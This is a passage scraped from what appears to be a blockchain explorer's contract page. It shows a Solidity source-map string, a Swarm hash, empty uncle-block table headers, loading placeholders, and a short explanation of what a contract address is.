6;19:12;2:2;-1:-1;5299:41:0;;-1:-1:-1;5349:31:0;;;5345:52;;5392:1;5385:8;;;;5345:52;5422:14;5408:13;:28;5401:35;;4929:511;;;;;;;:::o;1229:125::-;1292:4;1305:6;;1301:27;;;-1:-1:-1;1323:1:0;1316:8;;1301:27;1345:5;;;;1339;;1337:7;;:13;;;;;;;;;1229:125;-1:-1:-1;;;1229:125:0:o;815:94::-;-1:-1:-1;;;;;886:18:0;;884:21;;815:94::o;1831:125::-;1894:4;1907:6;;1903:27;;;-1:-1:-1;1925:1:0;1918:8;;1903:27;1947:5;;;;1941;;1939:7;;:13;;;;;;5444:160;5532:8;5527:74;5546:5;:12;5542:1;:16;;;5527:74;;;5593:4;5568:2;:12;;:22;5581:5;5587:1;5581:8;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;5568:22:0;;;;;;;;;;;-1:-1:-1;5568:22:0;:29;;-1:-1:-1;;5568:29:0;;;;;;;;;;-1:-1:-1;5560:3:0;5527:74;;595:114;-1:-1:-1;;;;;658:18:0;;;;650:55;;;;;-1:-1:-1;;;;;650:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;18859:458;18905:24;;:::i;:::-;18957:4;18949:21;18989:9;18979:19;;18975:339;;;19007:22;:11;:20;:22::i;:::-;19003:26;;18975:339;;;19057:7;19044:9;:20;;:45;;;;;19079:10;19068:7;:21;;19044:45;19039:275;;;19098:23;:12;:21;:23::i;19039:275::-;19150:7;19136:10;:21;;:47;;;;;19172:11;19161:7;:22;;19136:47;19131:183;;;19192:23;:12;:21;:23::i;19131:183::-;19245:7;19230:11;:22;;:48;;;;;19267:11;19256:7;:22;;19230:48;19225:89;;;19287:23;:12;:21;:23::i;:::-;19283:27;;19225:89;18859:458;;:::o;4254:46::-;4291:5;4284:12;;-1:-1:-1;;4284:12:0;;;4254:46::o;8078:116::-;8158:30;;8078:116::o;1700:127::-;1760:15;;:::i;:::-;-1:-1:-1;1794:29:0;;;;;;;;;1810:5;;1794:29;;1817:5;;;;;1794:29;;;;;1700:127::o;8393:11192::-;;;;;;;;;;-1:-1:-1;8393:11192:0;;;;;;;;:::o;:::-;;;;;;;;;;:::o

Swarm Source

bzzr://493346a0588a00c7e5a36429f089425bf4888761f00e107f87d4781198c9cffb

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.